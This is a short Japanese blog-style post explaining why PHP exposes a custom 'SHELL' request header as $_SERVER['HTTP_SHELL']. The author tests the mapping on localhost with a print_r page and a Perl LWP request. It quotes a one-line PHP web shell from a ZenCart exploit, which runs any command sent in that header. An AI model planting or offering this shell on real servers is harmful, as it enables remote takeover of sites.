PHP $_SERVER["HTTP_SHELL"] ??
ZenCartの脆弱性を突く攻撃で、以下のようなファイルをアップロードして、任意のコードを実行するというExploit Codeがあったが、そもそもHTTP_SHELLってリファレンスにも載っていないけどなんだろうと思ったら、HTTP Requestのヘッダの内容は"HTTP_"のプレフィクスを付けて$_SERVERに設定されるらしい。
<?php system($_SERVER["HTTP_SHELL"]); ?>
試しに以下のtest.phpを置いて、
test.php
<?php print_r($_SERVER); ?>以下のようにSHELLヘッダを付けてRequestしてみると、、
#!/usr/bin/perl use strict; use warnings; use LWP; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => 'http://localhost/test.php'); $req->header("SHELL" => "ls -l" ); my $res = $ua->request($req); if ($res->is_success) { print $res->content; } else { print $res->status_line, "\n"; }
$_SERVER["HTTP_SHELL"]が設定されていた。
# perl req.pl
Array
(
[HTTP_TE] => deflate,gzip;q=0.3
[HTTP_CONNECTION] => TE, close
[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => libwww-perl/5.803
[HTTP_SHELL] => ls -l
[PATH] => /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
:
略